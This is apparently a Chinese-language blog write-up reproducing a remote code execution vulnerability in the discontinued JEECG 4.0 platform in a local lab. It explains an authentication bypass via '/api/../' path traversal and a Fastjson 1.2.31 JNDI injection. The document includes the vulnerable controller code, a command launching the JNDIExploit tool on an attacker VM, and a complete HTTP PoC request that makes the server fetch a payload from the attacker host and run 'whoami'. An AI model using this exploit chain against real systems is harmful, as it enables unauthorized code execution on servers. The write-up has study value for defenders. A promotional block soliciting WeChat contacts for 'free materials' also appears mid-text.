1. 漏洞介紹
JEECG(J2EE Code Generation)
是開源的代碼生成平臺,目前官方已停止維護。JEECG 4.0
及之前版本中,由於/api
接口鑑權時未過濾路徑遍歷,攻擊者可構造包含 ../
的url繞過鑑權。攻擊者可構造惡意請求利用 jeecgFormDemoController.do?interfaceTest
接口進行jndi
注入攻擊實現遠程代碼執行。注:Jeecg 與 Jeecg-boot 非相同應用。Jeccg
官方地址爲:https://gitee.com/jeecg/jeecg
2. 漏洞流程圖分析
3. 環境搭建
由於版本比較老,是19年8月的項目,我就直接按照官方文檔進行搭建了,期間我嘗試使用IDEA+Maven
搭建,但是始終飄紅報錯,於是老老實實地按照官方文檔使用eclipse+Maven
環境搭建,我的本地配置如下:
官方文檔寫的比較詳細我就不再贅述了:http://idoc.jeecg.com/1275933
-
最新版
eclipse
-
apache-maven-3.1.1-bin
-
JDK1.8_102
(這裏有個坑就是jdk1.8不能與tomcat6兼容,我們運行時候要使用tomcat7:run
的命令) -
Mysql5.7
-
Kali
虛擬機(充當vps的功能)
4. 漏洞詳情分析
由於這個項目已經是19年更新的了,我們去查看使用的fastjson版本發現是1.2.31
,是屬於存在漏洞的版本。
感覺Eclipse
審計起來不太方便,我使用IDEA
來代替使用來審計。
現在我們已確定了Fastjson
版本存在問題,進一步尋找觸發Fastjson
的漏洞點。
在審計Fastjson
漏洞的時候我們着重關注parseObject
和parse
這兩個關鍵詞
。我們在IDEA
中按下Ctrl+shift+f
進行查找:
發現調用了JSONObject.parseObject(result)
,發現全都是在src/main/java/org/jeecgframework/core/util/HttpRequest.java
文件中進行了調用。分別是函數sendGet(String url, String param)
以及sendPost(String url, String param)
。
然後繼續尋找在哪裏調用了這兩個函數:
同樣的方法,發現在src/main/java/com/jeecg/demo/controller/JeecgFormDemoController.java
中調用了這兩個函數:
/** * 常用示例Demo:接口測試 * @param request * @param response * @return AjaxJson */ @RequestMapping(params = "interfaceTest") @ResponseBody public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) { AjaxJson j=new AjaxJson(); try { String serverUrl = request.getParameter("serverUrl");//請求的地址 String requestBody = request.getParameter("requestBody");//請求的參數 String requestMethod = request.getParameter("requestMethod");//請求的方式 if(requestMethod.equals("POST")){ if(requestBody !=""){ logger.info("----請求接口開始-----"); JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody); logger.info("----請求接口結束-----"+sendPost); j.setSuccess(true); j.setObj(sendPost.toJSONString()); }else{ j.setSuccess(false); j.setObj("請填寫請求參數"); } } if(requestMethod.equals("GET")){ logger.info("----請求接口開始-----"); JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody); logger.info("----請求接口結束-----"+sendGet.toJSONString()); j.setSuccess(true); j.setObj(sendGet); } } catch (Exception e) { j.setSuccess(false); j.setObj("服務器請求失敗"); e.printStackTrace(); } return j; }
這段代碼接受三個參數:serverUrl
、requestBody
、requestMethod
。然後根據requestMethod
的值決定調用不同的方法:HttpRequest.sendPost
或 HttpRequest.sendGet
。
我們直接發包訪問該接口會鑑權被檢測到沒有登錄,直接302跳轉,我們得想辦法bypass
:
然後我們根據漏洞簡介定位/api
未鑑權接口代碼:src/main/java/org/jeecgframework/core/interceptors/AuthInterceptor.java
也就是說對於以 /api/
開頭的請求路徑,即使用戶未登錄,也會被允許訪問,不會被攔截器攔截。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
加上我們查看引用的Maven依賴
中的alwaysUseFullPath
爲值默認false
,這樣的話程序在處理髮包中會對uri
進行標準化處理。於是我們就可以使用/api/../
的方式來進行bypass
比如說我們的poc
鏈接是/jeecg/api/../jeecgFormDemoController.do?interfaceTest=
然後進行標準化處理後就會變成/jeecg/jeecgFormDemoController.do?interfaceTest=
從而繞過登錄限制。
然後就是針對fastjson1.2.31
版本的漏洞利用了,這裏我使用了集成的工具JNDIExploit-1.4-SNAPSHOT
利用方法就是先在我們的Kali
虛擬機(vps作用)上開啓監聽:
這裏因爲我的虛擬機上的java
版本過高,Java 9及以上版本引入了模塊化系統,其中的java.xml
模塊不會默認導出com.sun.org.apache.xalan.internal.xsltc.runtime
包,因此導致com.feihong.ldap.template.TomcatEchoTemplate
類無法訪問com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
類。所以通過命令行參數--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED
來向模塊java.xml
添加導出指令,使得com.sun.org.apache.xalan.internal.xsltc.runtime
包能夠被未命名模塊(ALL-UNNAMED
)訪問。
java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.16.131
然後用python
公開一個poc.txt
然後直接調用該接口使用下面的Poc
即可:
POST /jeecg/api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1 Host: 127.0.0.1:8081 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded cmd: whoami serverUrl=http://192.168.16.131:8081/poc.txt&requestBody=123&requestMethod=GET
5. 總結
一開始準備復現這個漏洞是以爲JEECG-BOOT
爆這麼大的前臺RCE
漏洞了,後面發現原來是19年的停止維護的版本。整個復現流程下來不算輕鬆,主要是老版本的環境Debug
問題,通過本漏洞的復現學習,對fastjson漏洞
和alwaysUseFullPath繞過鑑權漏洞
有了更多的體會。